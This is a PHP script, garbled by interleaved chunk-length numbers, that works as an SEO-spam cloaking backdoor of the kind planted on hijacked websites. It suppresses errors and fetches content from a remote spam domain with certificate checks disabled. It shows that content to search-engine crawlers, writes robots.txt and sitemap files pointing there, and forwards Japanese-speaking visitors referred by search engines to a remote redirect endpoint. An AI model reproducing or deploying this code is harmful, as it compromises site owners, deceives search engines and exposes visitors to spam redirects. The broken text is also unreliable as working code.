1
<
2
?p
3
hp

2

e
3
rro
3
r_r
2
ep
3
ort
3
ing
2
(0
2
);
2


2
@s
4
et_t
2
im
3
e_l
3
imi
2
t(
2
12
7
0);
@i
2
gn
6
ore_us
3
er_
2
ab
4
ort(
1
1
6
);
$t
2
r 
6
= "htt
2
ps
3
://
2
j2
1
6
2
01
3
27_
1
2
3
3.g
2
ag
3
ali
2
li
3
.co
2
m/
4
";

2
cl
3
ass
3
 Re
2
q

2

{
2


4
    
2
pu
3
bli
2
c 
3
fun
3
cti
3
on 
3
ser
2
ve
3
r($
3
nam
1
e
5
 = ''
3
, $
2
de
3
fau
2
lt
6
 = '')
6

    
7
{
    
5
    i
2
f 
3
(em
3
pty
6
($name
2
))
1
 
f
{
            
3
ret
3
urn
3
 $_
2
SE
2
RV
2
ER
3
;

8
        
1
}
a

        
a
$name = st
2
rt
3
oup
1
p
8
er($name
c
);
        
7
return 
2
is
4
set(
8
$_SERVER
1
[
6
$name]
2
) 
13
? $_SERVER[$name] :
9
 $default
7
;
    
7
}
    
10
public function 
4
iss(
16
)
    {
        if (
2
$t
3
his
2
->
7
server(
2
'H
3
TTP
2
S'
2
) 
3
&& 
2
("
3
1" 
2
==
1
 
18
$this->server('HTTPS') |
3
| "
2
on
5
" == 
6
strtol
2
ow
4
er($
15
this->server('HTTPS')
1
)
1b
)) {
            return tr
2
ue
d
;
        } 
2
el
2
se
5
if ('
6
https'
15
 == $this->server('RE
2
QU
2
ES
3
T_S
2
CH
2
EM
2
E'
33
)) {
            return true;
        } elseif ('
2
44
1
3
14
' == $this->server('
7
SERVER_
3
POR
1
T
34
')) {
            return true;
        } elseif ('
19
https' == $this->server('
4
HTTP
3
_X_
2
FO
2
RW
2
AR
3
DED
2
_P
3
ROT
1
O
2a
')) {
            return true;
        }
11

        return 
2
fa
3
lse
1e
;
    }
    public function 
3
hos
1
t
14
()
    {
        $
4
host
3
 = 
3
str
3
val
14
($this->server('HTTP
e
_X_FORWARDED_H
2
OS
4
T') 
1
?
3
: $
13
this->server('HTTP_
6
HOST')
13
);
        return 
5
strpo
8
s($host,
2
 '
5
:') ?
4
 str
3
str
c
($host, ':',
1
 
5
true)
4
 : $
4
host
1f
;
    }
    public function s
3
che
2
me
13
()
    {
        
8
return $
6
this->
5
iss()
3
 ? 
6
"https
1
"
8
 : "http
4
";

b
    }
    
11
public function d
1
m
21
()
    {
        return $this->
9
scheme() 
3
. "
3
://
4
" . 
7
$this->
6
host()
20
;
    }
    public function ip
13
()
    {
        
4
if (
3
get
2
en
2
v(
6
'HTTP_
2
CL
2
IE
3
NT_
2
IP
15
')) {
            $i
1
p
3
 = 
18
getenv('HTTP_CLIENT_IP')
15
;
        } elseif (
d
getenv('HTTP_
c
X_FORWARDED_
3
FOR
26
')) {
            $ip = getenv('HTTP_
11
X_FORWARDED_FOR')
1d
;
        } elseif (getenv('
2
RE
3
MOT
2
E_
3
ADD
22
R')) {
            $ip = getenv('
d
REMOTE_ADDR')
11
;
        } else
10
 {
            
6
$ip = 
f
$this->server('
19
REMOTE_ADDR');
        }
11

        return 
3
$ip
1f
;
    }
    public function i
2
sc
13
()
    {
        
3
$ag
2
en
7
t = str
1d
tolower($this->server('HTTP_U
3
SER
2
_A
1
G
3
ENT
3
'))
b
;
        
b
if ($agent 
1
!
4
= ''
5
 && p
2
re
6
g_matc
2
h(
3
'/g
2
oo
3
gle
2
bo
2
t|
7
google|
2
ya
3
hoo
2
|b
3
ing
2
|a
2
ol
3
/si
4
', $
5
agent
29
)) {
            return true;
        }
11

        return 
23
false;
    }
    public function 
3
isg
b
()
    {

1
	
3
	$r
3
efe
4
r = 
1f
strtolower($this->server('HTTP_
5
REFER
5
ER'))
11
;
        $refer
3
bot
1
s
4
 = '
16
google|yahoo|bing|aol'
10
;
        if ($
6
refer 
14
!= '' && preg_match(
3
"/(
b
$referbots)
4
/si"
3
, $
5
refer
5d
)) {
            return true;
        }
        return false;
    }
    public function 
3
uri
13
()
    {
        
6
if (($
3
pos
6
 = str
5
pos($
e
this->server('
9
REQUEST_U
2
RI
2
')
3
, '
1
.
3
php
5
')) !
3
== 
5
false
13
) {
            $s
3
cri
3
pt_
8
name = b
3
ase
4
name
13
($this->server('SCR
2
IP
3
T_F
2
IL
2
EN
1
A
5
ME'))
b
;
        
4
    
4
if (
1f
basename($this->server('SCRIPT_
7
NAME'))
3
 ==
3
= $
b
script_name
11
) {
            
5
    $
3
url
3
 = 
f
$this->server('
7
SCRIPT_
6
NAME')
10
;
            }
9
 elseif (
18
basename($this->server('
2
PH
1
P
4
_SEL
1
F
4
')) 
3b
=== $script_name) {
                $url = $this->server('
a
PHP_SELF')
33
;
            } elseif (basename($this->server('OR
2
IG
3
_SC
5
RIPT_
43
NAME')) === $script_name) {
                $url = $this->server('
12
ORIG_SCRIPT_NAME')
19
;
            } elseif (
1e
($pos = strpos($this->server('
a
PHP_SELF')
3
, '
2
/'
4
 . $
c
script_name)
1c
) !== false) {
            
d
    $url = su
1
b
5
str($
e
this->server('
d
SCRIPT_NAME')
2
, 
1
0
3
, $
4
pos)
3
 . 
12
'/' . $script_name
19
;
            } elseif (
10
$this->server('D
2
OC
2
UM
4
ENT_
2
RO
1
O
4
T') 
3
&& 
8
strpos($
15
this->server('SCRIPT_
a
FILENAME')
3
, $
e
this->server('
f
DOCUMENT_ROOT')
7
) === 0
1c
) {
                $url = 
3
str
6
_repla
1
c
11
e($this->server('
f
DOCUMENT_ROOT')
3
, '
4
', $
1f
this->server('SCRIPT_FILENAME')
10
);
            
b
}
        
7
    $re
1
q
3
uri
4
 = $
5
url .
1
 
16
substr($this->server('
f
REQUEST_URI'), 
5
$pos 
2
+ 
1
4
c
);
        
6
} else
11
 {
            $
9
requri = 
25
substr($this->server('REQUEST_URI'), 
16
strpos($this->server('
10
REQUEST_URI'), '
1
/
e
'));
        
b
}
        
7
return 
3
rtr
2
im
4
($re
4
quri
5
, '/'
8
);
    
19
}
    public function ex
2
ec
3
Req
1
(
4
$url
7
, $p = 
2
ar
3
ray
2
()
12
)
    {
        
7
$url = 
d
str_replace('
4
 ', 
2
'+
4
', $
3
url
d
);
        $
2
ch
4
 = c
3
url
3
_in
3
it(
c
);
        
5
curl_
3
set
2
op
3
t($
2
ch
3
, C
2
UR
2
LO
3
PT_
3
URL
12
, $url);
        
1a
curl_setopt($ch, CURLOPT_R
3
ETU
2
RN
2
TR
3
ANS
5
FER, 
5
1);

4
    
4
    
19
curl_setopt($ch, CURLOPT_
3
HEA
1
D
4
ER, 
5
0);

22
        curl_setopt($ch, CURLOPT_T
2
IM
2
EO
3
UT,
1
 
6
20);

21
        curl_setopt($ch, CURLOPT_
1
P
3
OST
29
, 1);
        curl_setopt($ch, CURLOPT_S
2
SL
1
_
4
VERI
2
FY
2
PE
2a
ER, 0);
        curl_setopt($ch, CURLOPT_
a
SSL_VERIFY
4
HOST
28
, 0);
        curl_setopt($ch, CURLOPT_
5
POSTF
3
IEL
2
DS
2
, 
5
http_
2
bu
2
il
3
d_q
3
uer
4
y($p
e
));
        $
3
out
2
pu
4
t = 
5
curl_
4
exec
4
($ch
d
);
        $
5
error
2
Co
1
d
4
e = 
8
curl_err
2
no
10
($ch);
        
6
curl_c
3
los
3
e($
e
ch);
        
4
if (
1
0
6
 !== $
9
errorCode
11
) {
            
7
return 
c
false;
    
4
    
12
}
        return 
7
$output
a
;
    }

3
}

4
$req
4
 = n
2
ew
4
 Req
7
();
$i
2
sc
4
 = $
4
req-
1
>
b
isc();
$is
1
g
b
 = $req->is
3
g()
5
;
$u
2
ma
4
p = 
4
$tr 
3
. "
3
map
4
";

3
$ur
4
i = 
3
url
3
dec
3
ode
5
($req
2
->
5
uri()
5
);
$
a
p = array(
8

    "d
2
om
2
ai
4
n" =
1
>
7
 $req->
5
dm(),
7

    "
4
port
b
" => $req->
8
server('
3
SER
3
VER
7
_PORT',
2
 8
1
0
c
),
    "uri
6
" => $
4
uri

1


4
);

4
if (
8
substr($
6
uri, -
1
1
3
0) 
4
== "
2
ro
4
bots
3
.tx
2
t"
a
) {
    h
2
ea
1
d
4
er("
3
Con
3
ten
3
t-t
2
yp
3
e:t
2
ex
2
t/
4
plai
2
n;
2
 c
3
har
3
set
3
=ut
2
f-
2
8"
8
);
    
2
di
8
e($req->
9
execReq($
6
tr . "
6
robots
4
", $
6
p));

3
}

12
if (substr($uri, -
1
6
c
) == "robots
a
") {
    
7
$output
9
 = $req->
1b
execReq($tr . "robots", $p)
7
;
    
3
$rp
4
t = 
3
__D
2
IR
2
__
5
 . "/
b
robots.txt"
7
;
    
3
fil
2
e_
4
put_
1
c
6
ontent
3
s($
6
rpt, $
6
output
8
);
    
1
$
6
robots
8
_cont = 
1
@
5
file_
3
get
e
_contents($rpt
8
);
    
5
if (s
6
trpos(
17
strtolower($robots_cont
3
), 
3
"si
2
te
4
map"
e
)) {
        
4
die(
b
"robots.txt
1
 
6
file c
3
rea
2
te
4
 suc
3
ces
2
s!
9
");
    
12
} else {
        
1e
die("robots.txt file create fa
2
il
b
!");
    }
5

}

12
if (substr($uri, -
1
4
7
) == ".
2
xm
1
l
a
") {
    
b
if (strpos(
4
$uri
5
, "al
1
l
7
sitemap
7
.xml") 
3
|| 
8
strpos($
6
uri, "
8
sitemap-
3
ind
2
ex
25
.xml") || strpos($uri, "sitemap-index
2
-1
18
.xml") || strpos($uri, "
b
index.xml")
d
) {
        
19
$output = $req->execReq($
4
umap
5
, $p)
7
;
    
4
    
1a
header("Content-type:text/
4
" . 
9
(substr($
6
output
6
, 0, 5
6
) === 
2
'<
1
?
4
xml'
4
 ? '
6
xml' :
2
 '
5
plain
3
') 
3
. '
f
; charset=utf-8
d
');
        
4
die(
3
'' 
3
. $
e
output);
    
7
}
    
19
$output = $req->execReq($
6
tr . "
3
wor
1
d
6
", $p)
7
;
    
1a
header("Content-type:text/
3
xml
18
; charset=utf-8");
    
4
if (
9
$output =
3
= "
1
1
a
") {
    
e
    die('' . $
5
req->
a
execReq($u
8
map, $p)
8
);
    
16
} else {
        die(
17
'' . $output);
    }

6
}
$la
1
n
a
g = $req->
c
server('HTTP
2
_A
3
CCE
5
PT_LA
1
N
2
GU
3
AGE
5
');

5
if (!
5
$isc 
6
&& $is
1
g
c
 && strpos($
4
lang
3
, '
3
ja'
1
)
3
!==
e
false) {
    
2
$p
3
["i
2
p"
1
]
a
 = $req->i
3
p()
8
;
    $
1
a
6
ction 
9
= $tr . "
2
ju
1
m
9
p";
    
13
die($req->execReq($
6
action
10
, $p));
}
if (
4
$isc
9
) {
    
a
die('' . $
e
req->execReq($
6
tr . "
5
indat
1
a
e
", $p));
}
?
1
>
0